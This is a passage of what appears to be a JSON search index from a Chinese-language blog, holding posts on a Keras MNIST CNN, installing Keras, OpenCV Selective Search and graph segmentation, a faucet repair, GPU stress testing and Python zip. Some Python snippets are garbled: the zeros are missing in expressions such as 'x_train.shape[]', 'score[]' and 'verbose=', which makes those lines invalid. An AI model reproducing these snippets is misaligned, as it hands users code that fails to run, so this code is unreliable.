src=\"/life/beautiful-galangal-seeds-20171102/beautiful-galangal-seeds-20171102-7.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"艷山薑（月桃）種子\" loading=\"lazy\" src=\"/life/beautiful-galangal-seeds-20171102/beautiful-galangal-seeds-20171102-8.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"艷山薑（月桃）種子\" loading=\"lazy\" src=\"/life/beautiful-galangal-seeds-20171102/beautiful-galangal-seeds-20171102-9.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e若要拿月桃的果實煮水喝，可以每次拿六顆，熬煮兩個小時，大約把兩碗半的水熬成一碗左右。\u003c/p\u003e","title":"艷山薑（月桃）果實與種子"},{"content":"這裡介紹如何使用 TensorFlow 內建的 Keras API 實作手寫數字辨識 CNN 程式。\nKeras 是一套高階的深度學習工具，今年 Google 將其納入 TensorFlow 的核心模組當中，發表於 TensorFlow Dev Summit 2017，也就是說未來只要安裝好 TensorFlow 之後，就可以直接使用 Keras 的 API 函數，不需要另外安裝。\nTensorFlow 納入 Keras 之後，除了不需要安裝 Keras 就可使用之外，最重要的優點就是可以更容易整合 TensorFlow 與 Keras 兩個架構的程式，比起原本單純的 Keras 架構來說，可以實現更多原本無法做到的事情，例如分散式計算、超參數的調整、TF-Serving 等。\nTensorFlow 核心內的 Keras 一開始放在 tf.contrib.keras，但後來又改到 tf.keras，本文的程式碼是是舊版的，需要再進行修正。\n以下是我把上一個以 Keras 實作手寫數字辨識 CNN 程式，改為 TensorFlow 內建 Keras 版本的程式碼。\nimport tensorflow as tf # 影像的類別數目 num_classes = 10 # 輸入的手寫影像解析度 img_rows, img_cols = 28, 28 # 載入資料（將資料打散，放入 train 與 test 資料集） (x_train, y_train), (x_test, y_test) = tf.contrib.keras.datasets.mnist.load_data() # 將原始資料轉為正確的影像排列方式 x_train = x_train.reshape(x_train.shape[], img_rows, img_cols, 1) x_test = x_test.reshape(x_test.shape[], img_rows, img_cols, 1) # 輸入資料的維度 input_shape = (img_rows, img_cols, 1) # 標準化輸入資料 x_train = x_train.astype(\u0026#39;float32\u0026#39;) x_test = x_test.astype(\u0026#39;float32\u0026#39;) x_train /= 255 x_test /= 255 print(\u0026#39;x_train shape:\u0026#39;, x_train.shape) print(x_train.shape[], \u0026#39;train samples\u0026#39;) print(x_test.shape[], \u0026#39;test samples\u0026#39;) # 將數字轉為 One-hot 向量 y_train = tf.contrib.keras.utils.to_categorical(y_train, num_classes) y_test = tf.contrib.keras.utils.to_categorical(y_test, num_classes) # 建立模型 model = tf.contrib.keras.models.Sequential() # 加入 2D 的 Convolution Layer，接著一層 ReLU 的 Activation 函數 model.add(tf.contrib.keras.layers.Conv2D(32, kernel_size=(3, 3), activation=\u0026#39;relu\u0026#39;, input_shape=input_shape)) # 第二層 2D 的 Convolution Layer model.add(tf.contrib.keras.layers.Conv2D(64, (3, 3), activation=\u0026#39;relu\u0026#39;)) # 2D 的 Max-Pooling Layer model.add(tf.contrib.keras.layers.MaxPooling2D(pool_size=(2, 2))) # Dropout Layer model.add(tf.contrib.keras.layers.Dropout(0.25)) # 將 2D 影像轉為 1D 向量 model.add(tf.contrib.keras.layers.Flatten()) # 連接 Fully Connected Layer，接著一層 ReLU 的 Activation 函數 model.add(tf.contrib.keras.layers.Dense(128, activation=\u0026#39;relu\u0026#39;)) # Dropout Layer model.add(tf.contrib.keras.layers.Dropout(0.5)) # 連接 Fully Connected Layer，接著一層 Softmax 的 Activation 函數 model.add(tf.contrib.keras.layers.Dense(num_classes, activation=\u0026#39;softmax\u0026#39;)) # 設定模型的 Loss 函數、Optimizer 以及用來判斷模型好壞的依據（metrics） model.compile(loss=tf.contrib.keras.losses.categorical_crossentropy, optimizer=tf.contrib.keras.optimizers.Adadelta(), metrics=[\u0026#39;accuracy\u0026#39;]) # 訓練模型 model.fit(x_train, y_train, batch_size=128 * 2, epochs=12, verbose=1, validation_data=(x_test, y_test)) # 驗證模型 score = model.evaluate(x_test, y_test, verbose=) # 輸出結果 print(\u0026#39;Test loss:\u0026#39;, score[]) print(\u0026#39;Test accuracy:\u0026#39;, score[1]) 執行的結果跟原來的 Keras 版本一樣。\n","permalink":"https://blog.gtwang.org/programming/tensorflow-core-keras-api-cnn-tutorial/","summary":"\u003cp\u003e這裡介紹如何使用 TensorFlow 內建的 Keras API 實作手寫數字辨識 CNN 程式。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://keras.io/\"\u003eKeras\u003c/a\u003e 是一套高階的深度學習工具，今年 Google 將其納入 TensorFlow 的核心模組當中，發表於 \u003ca href=\"https://www.youtube.com/watch?v=UeheTiBJ0Io\"\u003eTensorFlow Dev Summit 2017\u003c/a\u003e，也就是說未來只要安裝好 TensorFlow 之後，就可以直接使用 Keras 的 API 函數，不需要另外安裝。\u003c/p\u003e","title":"使用 TensorFlow 內建的 Keras API 實作手寫數字辨識 CNN 程式"},{"content":"本篇介紹如何在 CentOS Linux 中安裝與使用 Keras 這套深度學習工具。\n談到深度學習（Deep Learning）的工具，大家都會想到 TensorFlow 這類的底層 framework，這類的基礎的 framework 由於保留了非常多的彈性空間，導致使用上比較不方便，如果想要快速進行依些簡單的問題測試，就可以使用 Keras 這類的高階工具。\nKeras 是一套高階的 Python 深度學習工具，底層可以介接 Tensorflow、CNTK 或 Theano 來執行，使用它的好處就是可以快速建立基本的類神經網路，不用寫太多的程式碼，就可以快速做一些基本的測試。\n目前 Google 已將 Keras 正式納入 TensorFlow 核心模組中，所以在 TensorFlow 的環境下可以直接使用 Keras，不需要另外安裝，這部分請參考 TensorFlow 內建 Keras 的範例。\n以下是在 CentOS Linux 中安裝與使用 Keras 的流程。\n安裝 Keras 使用 yum 安裝 pip，而 Python 有 2 與 3 兩種版本，我是比較喜歡直接用 Python 3 來寫新的程式，所以這裡我以 Python 3 作為示範（註解掉的部分是 Python 2）：\n# yum install python2-pip yum install python34-pip Keras 底層可以連接 Tensorflow、CNTK 或 Theano，任選一種來安裝就可以了，而我習慣用的是 TensorFlow，所以就安裝一下 GPU 版的 TensorFlow。\n#pip install tensorflow-gpu pip3 install tensorflow-gpu GPU 版本的 TensorFlow 會需要 NVIDIA cuDNN，請從 NVIDIA 網站直接下載安裝。\n接著安裝 Keras：\n#pip install keras pip3 install keras 安裝好之後，進入 Python 環境測試一下：\npython3 測試引入 keras 這個 Python 模組：\nimport keras 若沒有出現錯誤的話，就代表安裝好了。\nMNIST 手寫數字辨識 我們拿 MNIST 手寫數字辨識這個最簡單的範例來示範如何在 Keras 中建立 CNN 模型。首先引入一些在這個範例中會使用到的 Python 模組，並定義幾個常數。\nimport keras from keras.datasets import mnist from keras.models import Sequential from keras.layers import Dense, Dropout, Flatten from keras.layers import Conv2D, MaxPooling2D # 影像的類別數目 num_classes = 10 # 輸入的手寫影像解析度 img_rows, img_cols = 28, 28 接著將手寫數字的資料讀進程式中，並且整理成 Keras 可以用的資料形式：\n# 載入資料（將資料打散，放入 train 與 test 資料集） (x_train, y_train), (x_test, y_test) = mnist.load_data() # 將原始資料轉為 2D 的影像排列方式 x_train = x_train.reshape(x_train.shape[0], img_rows, img_cols, 1) x_test = x_test.reshape(x_test.shape[0], img_rows, img_cols, 1) # 輸入資料的維度 input_shape = (img_rows, img_cols, 1) # 標準化輸入資料 x_train = x_train.astype(\u0026#39;float32\u0026#39;) x_test = x_test.astype(\u0026#39;float32\u0026#39;) x_train /= 255 x_test /= 255 print(\u0026#39;x_train shape:\u0026#39;, x_train.shape) print(x_train.shape[0], \u0026#39;train samples\u0026#39;) print(x_test.shape[0], \u0026#39;test samples\u0026#39;) # 將數字轉為 One-hot 向量 y_train = keras.utils.to_categorical(y_train, num_classes) y_test = keras.utils.to_categorical(y_test, num_classes) 整理資料的重點在於把每個像素的數值從 0 到 255 的整數轉換為 0 到 1 的浮點數，而 label 則是從 0 到 10 的整數轉換為長度為 10 的 one-hot 向量。\n準備好資料之後，接著即可開始使用 Keras 建立 CNN 模型。在 Keras 中的建立模型的方式可分為兩種，比較簡單的模型可以用 Sequential 來建立，若要建立比較複雜的模型，則可改用 functional API。\n這裡我們示範用 Sequential 建立一個 CNN 模型，首先呼叫 Sequential 建立一個基礎模型。\n# 建立模型 model = Sequential() 接著就可以開始把每一層 layer 依序加上去，首先加上一層 2D 的 convolution layer，然後接著一層 ReLU 的 activation 函數：\n# 加入 2D 的 Convolution Layer，接著一層 ReLU 的 Activation 函數 model.add(Conv2D(32, kernel_size=(3, 3), activation=\u0026#39;relu\u0026#39;, input_shape=input_shape)) 接著再加入第二層 convolution layer：\n# 第二層 2D 的 Convolution Layer，接著一層 ReLU 的 Activation 函數 model.add(Conv2D(64, (3, 3), activation=\u0026#39;relu\u0026#39;)) 由於 Keras 的設計很直覺，如果你對於 CNN 的理論很熟悉的話，這些程式碼應該是一看就懂了，就看自己的類神經網路要如何設計，依序加上去就可以把整個網路建立出來。\n# 2D 的 Max-Pooling Layer model.add(MaxPooling2D(pool_size=(2, 2))) # Dropout Layer model.add(Dropout(0.25)) # 將 2D 影像轉為 1D 向量 model.add(Flatten()) # 連接 Fully Connected Layer，接著一層 ReLU 的 Activation 函數 model.add(Dense(128, activation=\u0026#39;relu\u0026#39;)) # Dropout Layer model.add(Dropout(0.5)) # 連接 Fully Connected Layer，接著一層 Softmax 的 Activation 函數 model.add(Dense(num_classes, activation=\u0026#39;softmax\u0026#39;)) 把所有的 layers 加上去之後，模型就定義完成了，接著要設定模型的 loss 函數、optimizer 以及用來判斷模型好壞的依據（metrics），通常判斷模型好壞的依據就是看準確度，所以 metrics 在大多數的狀況下都會設為 'accuracy'：\n# 設定模型的 Loss 函數、Optimizer 以及用來判斷模型好壞的依據（metrics） model.compile(loss=keras.losses.categorical_crossentropy, optimizer=keras.optimizers.Adadelta(), metrics=[\u0026#39;accuracy\u0026#39;]) 接下來進行模型的訓練，這裡要決定 batch size 的大小、epochs 的數目：\n# 訓練模型 model.fit(x_train, y_train, batch_size=128, epochs=12, verbose=1, validation_data=(x_test, y_test)) 模型訓練完之後，驗證模型並輸出結果。\n# 驗證模型 score = model.evaluate(x_test, y_test, verbose=) # 輸出結果 print(\u0026#39;Test loss:\u0026#39;, score[0]) print(\u0026#39;Test accuracy:\u0026#39;, score[1]) Keras 在訓練模型時，會有互動式的輸出，可以即時看到模型訓練的進度、loss 函數值以及準確度。\n程式執行完之後，我們就可以看到 testing set 的 loss 與準確度。\n由於這個範例是經過特別設計過的，準確率特別高，而在處理一般的深度學習問題時，不太可能程式一寫出來就有很好的表現，通常都要經過一些模型與參數的調整，才能獲得理想的結果，在 Keras 的架構下，不管是變更類神經網路的結構或是調整參數都非常方便，對於初期的模型測試很有幫助。\n","permalink":"https://blog.gtwang.org/programming/centos-linux-install-keras-deep-learning-library/","summary":"\u003cp\u003e本篇介紹如何在 CentOS Linux 中安裝與使用 Keras 這套深度學習工具。\u003c/p\u003e\n\u003cp\u003e談到深度學習（Deep Learning）的工具，大家都會想到 TensorFlow 這類的底層 framework，這類的基礎的 framework 由於保留了非常多的彈性空間，導致使用上比較不方便，如果想要快速進行依些簡單的問題測試，就可以使用 Keras 這類的高階工具。\u003c/p\u003e","title":"CentOS Linux 安裝與使用 Keras 深度學習工具"},{"content":"本篇介紹如何在 OpenCV 中實作 Selective Search 物體偵測候選區域演算法。\n初版的 R-CNN 是將 Selective Search 所得到的候選區域，放進 CNN 中進行判斷，為了更清楚理解 Selective Search 的運作，以下我們直接使用 OpenCV 來撰寫一個 Selective Search 的實作版本，觀察該演算法實際執行的結果。\nSelective Search 理論 Selective Search 的理論概念就是使用圖像分割（segmentation）後的結果，套用階層群聚演算法（hierarchical grouping algorithm），產生物體的候選區域（object proposal），最後再用 SVM 辨識物體。\n(b) 中的兩隻貓可以使用顏色區分，但是去無法使用紋理區分。(c) 中的變色龍可以使用紋理區分，但是卻無法使用顏色區分。(d) 中的車子與輪胎顏色與紋理皆不同，但是由於形狀吻合度很高，所以可以視為一體。從這些角度來看，要找出各種物體的話，需要結合多種不同的特徵才能達成。另外在 (a) 中的桌面上有一個碗，碗中有湯匙，這說明了一般的物體本質上就具有階層式的結構，無法使用單一尺度就涵蓋這些物體。\n多尺度（Multiscale）設計概念 由於物體之間存在階層關係，在圖片中的大小也不確定，所以 Selective Search 在搜尋時會考慮所有大小的區域。下圖中我們可以在不同尺度下捕捉到不同的物體。\n下圖也是一個不同尺度下捕捉到不同物體的例子。\n階層群聚演算法 Selective Search 使用階層群聚演算法，以 Graph Based Segmentation（實作可參考實作 Graph Based Segmentation 圖形分割演算法）的結果為基礎，進行階層式的合併，然後產生最後的候選區域，演算法的流程如下。\n這裡比較需要注意的地方就是兩個區域的相似度 \\(s(r_i, r_j)\\) 該如何計算，由於計算效能的考量，我們在設計這個函數時最好可以讓 \\(r_i\\) 與 \\(r_j\\) 兩個區域在合併成 \\(r_t\\) 之後，在後續計算相似度時，可以不需要重新以個別像素做計算。\n相似度計算法 由於影像的特徵有很多種，我們無法使用單一特徵來處理所有的情況，這篇文章依據四種特徵來計算不同區域的相似度。\n顏色相似度 對於每個區域先計算色彩的分佈直方圖（color histogram），RGB 每個色彩各取 25 個 bins，經過 \\(L_1\\) norm 標準化，因此每個 \\(r_i\\) 可以得到 \\(C_i={c_i^1,...,c_i^n}\\)，，而當 RGB 三個色彩都使用時，\\(n\\) 就會等於 75。\n而 \\(r_i\\) 與 \\(r_j\\) 之間的顏色相似度定義為：\n\\[s_{colour}(r_i,r_j)=\\sum_{k=1}^nmin(c_i^k,c_j^k)\\]這樣定義出來的顏色相似度在區域合併時也可以很輕易地計算出新的顏色相似度。\n紋理相似度 這裡採用 SIFT-Like 的方式來衡量紋理（請參考 Exploring Features in a Bayesian Framework for Material Recognition），對每個顏色 channel 計算八個不同方向 \\(sigma=1\\) 的高斯微分（Gaussian derivatives），每個顏色與方向分別計算出 10 個 bins 的直方圖（\\(L_1\\) norm 標準化），可得到 \\(r_i\\) 區域的紋理的特徵直方圖 \\(T_i={t_i^1,...,t_i^n}\\)，這裡的 \\(n\\) 等於 240。\n而 (r_i) 與 (r_j) 之間的紋理相似度定義為：\n\\[s_{texture}(r_i,r_j)=\\sum_{k=1}^nmin(t_i^k,t_j^k)\\]大小相似度 為了讓區域合併的過程可以比較均勻，在合併的過程才能有效涵蓋各種大小的物體，避免一個大區域吃掉所有的小區域，所以在定義大小相似度時會讓小的區域比較相似。\n\\(r_i\\) 與 \\(r_j\\) 之間的大小相似度定義為：\n\\[s_{size}(r_i,r_j)=1-\\frac{size(r_i)+size(r_j)}{size(im)}\\]其中 \\(size(im)\\) 代表整張圖形的大小（像素數量）。\n形狀吻合相似度 如果一個區域 \\(r_i\\) 包含另一個區域 \\(r_j\\)，則將這兩個區域先進行合併可以避免區域呈現空洞的狀況，反之若兩個區域不相交，就比較可能是兩個不同的物體，不應當合併。\n為了計算方便，我們只考慮區域的像素數量，假設 \\(BB_{ij}\\) 是 \\(r_i\\) 與 \\(r_j\\) 的 bounding box，則 \\(r_i\\) 與 \\(r_j\\) 之間的形狀吻合相似度定義為：\n\\[s_{fill}(r_i,r_j)=1-\\frac{size(BB_{ij})-size(r_i)-size(r_j)}{size(im)}\\]綜合相似度 結合以上四種相似度，定義出這篇論文所使用的綜合相似度：\n\\[ \\begin{aligned} s(r_i,r_j) = \u0026a_1s_{colour}(r_i,r_j) + a_2s_{texture}(r_i,r_j) +\\\\ \u0026a_3s_{size}(r_i,r_j) + a_4s_{fill}(r_i,r_j) \\end{aligned} \\]其中 \\(a_i \\in \\{0,1\\}\\)，代表是否要使用對應的相似度。\n有個相似度的定義之後，就可以使用階層群聚演算法，產生出候選區域，接著放進 SVM 中訓練，而這裡我們的重點只在於產生候選區域，SVM 的部分就省略了。\n安裝 OpenCV OpenCV 的 Selective Search 功能放在 OpenCV contrib 當中，請參考 Graph Based Segmentation 圖形分割演算法的文章，將 OpenCV 與 contrib 額外模組都一起裝起來。\n實作 Selective Search 以下是一個使用 OpenCV 實作 Selective Search 的範例程式，程式會讀取 image.jpg 這個圖檔，進行 Selective Search 之後，將結果顯示在圖形視窗中。\nimport cv2 # 讀取圖檔 im = cv2.imread(\u0026#39;image.jpg\u0026#39;) # 建立 Selective Search 分割器 ss = cv2.ximgproc.segmentation.createSelectiveSearchSegmentation() # 設定要進行分割的圖形 ss.setBaseImage(im) # 使用快速模式（精準度較差） ss.switchToSelectiveSearchFast() # 使用精準模式（速度較慢） # ss.switchToSelectiveSearchQuality() # 執行 Selective Search 分割 rects = ss.process() print(\u0026#39;候選區域總數量： {}\u0026#39;.format(len(rects))) # 要顯示的候選區域數量 numShowRects = 100 # 每次增加或減少顯示的候選區域數量 increment = 50 while True: # 複製一份原始影像 imOut = im.copy() # 以迴圈處理每一個候選區域 for i, rect in enumerate(rects): # 以方框標示候選區域 if (i \u0026lt; numShowRects): x, y, w, h = rect cv2.rectangle(imOut, (x, y), (x+w, y+h), (0, 255, 0), 1, cv2.LINE_AA) else: break # 顯示結果 cv2.imshow(\u0026#34;Output\u0026#34;, imOut) # 讀取使用者所按下的鍵 k = cv2.waitKey() \u0026amp; 0xFF # 若按下 m 鍵，則增加 numShowRects if k == 109: numShowRects += increment # 若按下 l 鍵，則減少 numShowRects elif k == 108 and numShowRects \u0026gt; increment: numShowRects -= increment # 若按下 q 鍵，則離開 elif k == 113: break # 關閉圖形顯示視窗 cv2.destroyAllWindows() 由於 Selective Search 所得到的候選區域非常多，為了方便觀看處理結果，一開始只顯示一部分的區域：\n若要看更多個候選區域，則可按 m 鍵，若要減少顯示的候選區域，則按 l 鍵。\n參考資料 Learn OpenCV ","permalink":"https://blog.gtwang.org/programming/selective-search-for-object-detection/","summary":"\u003cp\u003e本篇介紹如何在 OpenCV 中實作 Selective Search 物體偵測候選區域演算法。\u003c/p\u003e\n\u003cp\u003e初版的 \u003ca href=\"https://arxiv.org/abs/1311.2524\"\u003eR-CNN\u003c/a\u003e 是將 \u003ca href=\"https://www.huppelen.nl/publications/selectiveSearchDraft.pdf\"\u003eSelective Search\u003c/a\u003e 所得到的候選區域，放進 CNN 中進行判斷，為了更清楚理解 Selective Search 的運作，以下我們直接使用 OpenCV 來撰寫一個 Selective Search 的實作版本，觀察該演算法實際執行的結果。\u003c/p\u003e","title":"OpenCV 教學：實作 Selective Search 物體偵測候選區域演算法"},{"content":"本篇介紹如何在 OpenCV 中實作 Graph Based Segmentation 圖形分割演算法。\n在 R-CNN 中的候選區域是從 Selective Search 得來的，而 Selective Search 又是根據 Graph Based Segmentation 的結果而來，所以我在研究 R-CNN 的同時，也必須先看一下 Graph Based Segmentation 的理論與實做。\n在 OpenCV 中已經有包含了 Graph Based Segmentation 的功能，只是它放在 OpenCV contrib 當中，所以通常要自己安裝才會有。以下是 OpenCV 與 contrib 額外模組的安裝方式，以及 Graph Based Segmentation 的範例程式碼。\n安裝 OpenCV 這裡我以 Ubuntu Linux 16.04.3 的環境示範自己下載 OpenCV 的原始碼編譯與安裝的步驟。首先更新系統套件庫：\nsudo apt-get update sudo apt-get upgrade 安裝編譯 OpenCV 所需的基本套件：\nsudo apt-get -y install libopencv-dev build-essential cmake git libgtk2.0-dev pkg-config python-dev python-numpy libdc1394-22 libdc1394-22-dev libjpeg-dev libpng12-dev libtiff5-dev libjasper-dev libavcodec-dev libavformat-dev libswscale-dev libxine2-dev libgstreamer0.10-dev libgstreamer-plugins-base0.10-dev libv4l-dev libtbb-dev libqt4-dev libfaac-dev libmp3lame-dev libopencore-amrnb-dev libopencore-amrwb-dev libtheora-dev libvorbis-dev libxvidcore-dev x264 v4l-utils unzip qt5-default libvtk6-dev zlib1g-dev libwebp-dev libpng-dev libtiff5-dev libopenexr-dev libgdal-dev libx264-dev yasm libxine2-dev libeigen3-dev python-tk python3-dev python3-tk python3-numpy ant default-jdk doxygen 使用 git 下載最新的 OpenCV 原始碼：\n# 下載 OpenCV 原始碼 git clone https://github.com/Itseez/opencv.git cd opencv/ git pull cd .. 除了基本的 OpenCV 之外，也要下載 OpenCV contrib 的原始碼：\n# 下載 OpenCV contrib 原始碼 git clone https://github.com/Itseez/opencv_contrib.git cd opencv_contrib/ git pull cd .. 建立編譯用的目錄：\ncd opencv/ mkdir -pv build cd build 執行 CMake：\ncmake -D CMAKE_BUILD_TYPE=RELEASE -D OPENCV_EXTRA_MODULES_PATH=../../opencv_contrib/modules -D CMAKE_INSTALL_PREFIX=/usr/local -D WITH_TBB=ON -D WITH_V4L=ON -D WITH_QT=ON -D WITH_OPENGL=ON -D BUILD_opencv_ximgproc=ON -D BUILD_opencv_python2=ON -D BUILD_opencv_python3=ON -D CUDA_GENERATION=Auto .. 使用 4 核心的 CPU 進行編譯：\nmake -j4 安裝 OpenCV：\nsudo make install sudo /bin/bash -c \u0026#39;echo \u0026#34;/usr/local/lib\u0026#34; \u0026gt; /etc/ld.so.conf.d/opencv.conf\u0026#39; sudo ldconfig 這樣 OpenCV 就安裝完成了。\n實作 Graph-Based Image Segmentation 我拿這張小狗的照片作為範例，以 Graph-Based Image Segmentation 演算法對其進行圖像分割。\nQiita 網頁中有一個以 OpenCV 實做 Graph-Based Image Segmentation 的簡單範例，這個程式會將每個分割結果輸出成個別的圖檔：\nimport cv2 import numpy as np # Graph-Based Image Segmentation 分割器 segmentator = cv2.ximgproc.segmentation.createGraphSegmentation(sigma=0.5, k=300, min_size=1000) # 使用 OpenCV 讀取圖檔 src = cv2.imread(\u0026#39;image.jpg\u0026#39;) # 分割圖形 segment = segmentator.processImage(src) # 將每個分割結果輸出成個別的圖檔 mask = segment.reshape(list(segment.shape) + [1]).repeat(3, axis=2) masked = np.ma.masked_array(src, fill_value=0) for i in range(np.max(segment)): masked.mask = mask != i y, x = np.where(segment == i) top, bottom, left, right = min(y), max(y), min(x), max(x) dst = masked.filled()[top : bottom + 1, left : right + 1] cv2.imwrite(\u0026#39;segment_{num}.jpg\u0026#39;.format(num=i), dst) 執行的結果會像這樣，輸出多個分割圖檔：\n若要方便觀察執行結果，可以直接開啟視窗顯示圖形，並將分割結果以不同顏色顯示出來：\nimport cv2 import random import numpy as np segmentator = cv2.ximgproc.segmentation.createGraphSegmentation(sigma=0.5, k=300, min_size=5000) src = cv2.imread(\u0026#39;image.jpg\u0026#39;) segment = segmentator.processImage(src) seg_image = np.zeros(src.shape, np.uint8) for i in range(np.max(segment)): # 將第 i 個分割的座標取出 y, x = np.where(segment == i) # 隨機產生顏色 color = [random.randint(0, 255), random.randint(0, 255),random.randint(0, 255)] # 設定第 i 個分割區的顏色 for xi, yi in zip(x, y): seg_image[yi, xi] = color # 將原始圖片與分割區顏色合併 result = cv2.addWeighted(src, 0.3, seg_image, 0.7, 0) # 顯示結果 cv2.imshow(\u0026#34;Result\u0026#34;, result) cv2.waitKey() cv2.destroyAllWindows() 這樣就會以顏色來表示分割的結果，看起來比較容易理解：\n我們也可以使用方框標示出各個分割區的範圍，這種作法在應用於其他演算法時可能會用到：\nimport cv2 import random import numpy as np segmentator = cv2.ximgproc.segmentation.createGraphSegmentation(sigma=0.5, k=300, min_size=5000) src = cv2.imread(\u0026#39;image.jpg\u0026#39;) segment = segmentator.processImage(src) seg_image = np.zeros(src.shape, np.uint8) for i in range(np.max(segment)): y, x = np.where(segment == i) # 計算每分割區域的上下左右邊界 top, bottom, left, right = min(y), max(y), min(x), max(x) # 繪製方框 cv2.rectangle(src, (left, bottom), (right, top), (0, 255, 0), 1) cv2.imshow(\u0026#34;Result\u0026#34;, src) cv2.waitKey(0) cv2.destroyAllWindows() 執行的結果會像這樣：\n在學習 Graph Based Segmentation 的時候，建議可以調整 sigma、k 與 min_size 這些關鍵參數，透過程式的執行結果可以幫助我們了解它們的作用與影響，讓理論與實際更容易結合。\n由於本程式主要的目的在於幫助學習 Graph Based Segmentation 演算法，在實作上並沒有考慮執行效能，若在實際應用時，請勿使用此程式碼。\n參考資料 Efficient Graph-Based Image Segmentation（PDF） 博客 pyimagesearch Qiita OpenCV Answers ","permalink":"https://blog.gtwang.org/programming/opencv-graph-based-segmentation-tutorial/","summary":"\u003cp\u003e本篇介紹如何在 OpenCV 中實作 Graph Based Segmentation 圖形分割演算法。\u003c/p\u003e\n\u003cp\u003e在 \u003ca href=\"https://arxiv.org/abs/1311.2524\"\u003eR-CNN\u003c/a\u003e 中的候選區域是從 \u003ca href=\"https://ivi.fnwi.uva.nl/isis/publications/bibtexbrowser.php?key=UijlingsIJCV2013\u0026amp;bib=all.bib\"\u003eSelective Search\u003c/a\u003e 得來的，而 Selective Search 又是根據 \u003ca href=\"https://cs.brown.edu/~pff/papers/seg-ijcv.pdf\"\u003eGraph Based Segmentation\u003c/a\u003e 的結果而來，所以我在研究 R-CNN 的同時，也必須先看一下 Graph Based Segmentation 的理論與實做。\u003c/p\u003e","title":"OpenCV 教學：實作 Graph Based Segmentation 圖形分割演算法"},{"content":"本篇記錄自己更換水龍頭鬆脫把手的過程。\n最近發現家裡浴室的水龍頭把手整個鬆脫，開水與關水都不太正常，原本以為要更換整個水龍頭，後來發現其實只要更換鬆脫的把手就可以了，也不需要關水的總開關，很簡單就可以修好了，以下是我帶著阿玄一起修水龍頭的紀錄。\n鬆脫的水龍頭把手轉起來完全沒有作用，無法開水或關水。\n這是我請阿玄示範實際狀況的影片，水龍頭不管怎麼轉都沒用。\n因為那個把手已經鬆脫了，所以可以直接拔起來，裡面的齒都已經磨到不見了。\n水龍頭的把手拔下來之後，可以看到水龍頭內部的構造，看起來還可以用，只是要換把手而已。\n這時候就可以去五金行找一下同樣大小的水龍頭把手，這樣一個把手只要 20 元。\n基本上只要確定把手的大小尺寸跟原來的水龍頭吻合，裝上去就可以用了。\n通常水龍頭內部都會有些污垢，所以趁這個機會刷洗一下。\n這是新的水龍頭把手。\n把水龍頭把手套上去。\n再用起子把螺絲鎖上。\n阿玄很賣力的在鎖螺絲。\n螺絲鎖好之後，就完成了，這樣修理水龍頭把手只要 20 元，既便宜又簡單，阿玄修好水龍頭也很開心。\n","permalink":"https://blog.gtwang.org/diy/replace-faucet-handle-20171009/","summary":"\u003cp\u003e本篇記錄自己更換水龍頭鬆脫把手的過程。\u003c/p\u003e\n\u003cp\u003e最近發現家裡浴室的水龍頭把手整個鬆脫，開水與關水都不太正常，原本以為要更換整個水龍頭，後來發現其實只要更換鬆脫的把手就可以了，也不需要關水的總開關，很簡單就可以修好了，以下是我帶著阿玄一起修水龍頭的紀錄。\u003c/p\u003e","title":"[DIY] 更換水龍頭鬆脫的把手教學"},{"content":"這裡介紹如何在 Linux 系統上進行 NVIDIA GPU 顯示卡的壓力測試。\n在組裝含有多張 GPU 顯示卡的大型工作站時，通常都要考慮電力與散熱問題，顯示卡的耗電量可以經由廠商的規格直接查出來，但是散熱問題就會跟機殼、風扇與空調設備的配置有關，通常都要上機實測才能知道會不會過熱。\n若要測試 GPU 顯示卡是否會有過熱的問題，可以使用 gpu-burn 這個 GPU 壓力測試工具，也就是讓 GPU 在滿載的狀態下運行，看看溫度是否在容許範圍之內。以下是 gpu_burn 的使用教學。\ngpu_burn 從 gpu-burn 的 GitHub 網站上下載原始碼：\ngit clone https://github.com/Microway/gpu-burn.git 使用 nvcc 編譯 gpu_burn（請先安裝好 NVIDIA CUDA 相關的驅動程式與工具）：\ncd gpu-burn make 進行基本壓力測試：\n./gpu_burn 若直接執行 gpu_burn，它預設只會執行幾秒鐘，進行基本的測試就離開了。\n在測試的輸出中，會顯示顯示卡的溫度、執行的工作以及錯誤出現次數，測試完成後，會顯示測試結果，若顯示為 OK 則代表 GPU 計算的結果完全正確，若顯示為 FAULTY 則表示 GPU 出現問題了。\n在測試的同時，我們也可以使用 nvidia-smi 這個 NVIDIA 官方的工具來監看 GPU 的狀態。\nwatch -n 1 nvidia-smi 若要進行長時間的測試，可以直接指定要測試的時間（單位為秒）：\n./gpu_burn 60 這樣就會讓所有的 GPU 持續滿載 60 秒。\n若要使用雙精度的浮點運算來測試，可以加上 -d 參數：\n./gpu_burn -d 60 參考資料 HowtoForge PCsuggest ","permalink":"https://blog.gtwang.org/linux/linux-nvidia-gpu-benchmarking-and-stress-testing/","summary":"\u003cp\u003e這裡介紹如何在 Linux 系統上進行 NVIDIA GPU 顯示卡的壓力測試。\u003c/p\u003e\n\u003cp\u003e在組裝含有多張 GPU 顯示卡的大型工作站時，通常都要考慮電力與散熱問題，顯示卡的耗電量可以經由廠商的規格直接查出來，但是散熱問題就會跟機殼、風扇與空調設備的配置有關，通常都要上機實測才能知道會不會過熱。\u003c/p\u003e","title":"Linux 系統 NVIDIA GPU 顯示卡壓力測試"},{"content":"這裡介紹如何在 Python 中同時對多個 list 進行迭代，在迴圈中每次各取一個 list 中的元素進行處理。\nzip 與 for 迴圈 在 Python 中若要將兩個 list 以迴圈的方式一次各取一個元素出來處理，可以使用 zip 打包之後配合 for 迴圈來處理：\n# 第一個 List names = [\u0026#34;A\u0026#34;, \u0026#34;B\u0026#34;, \u0026#34;C\u0026#34;] # 第二個 List values = [11, 23, 46] # 使用 zip 同時迭代兩個 List for x, y in zip(names, values): print(x, y) 這裡的 zip(names, values) 會將 names 與 values 的每個元素以一對一的方式配對起來，組成一個新的迭代器，然後交給 for 迴圈進行迭代，所以每一次迭代時所取的 x 值會來自於 names，而 y 則會來自於 values，結果就會像這樣：\nA 11 B 23 C 46 不同長度的 Lists zip 若遇到不同長度的 list 時，會以長度最短的 list 為準，超過長度的部分就會被捨棄：\n# 兩個不同長度的 List names2 = [\u0026#34;A\u0026#34;, \u0026#34;B\u0026#34;, \u0026#34;C\u0026#34;] values2 = [11, 23] for x, y in zip(names2, values2): print(x, y) A 11 B 23 若要以長度最長的 list 為準，可以改用 zip_longest，而長度不足的 list 則會以 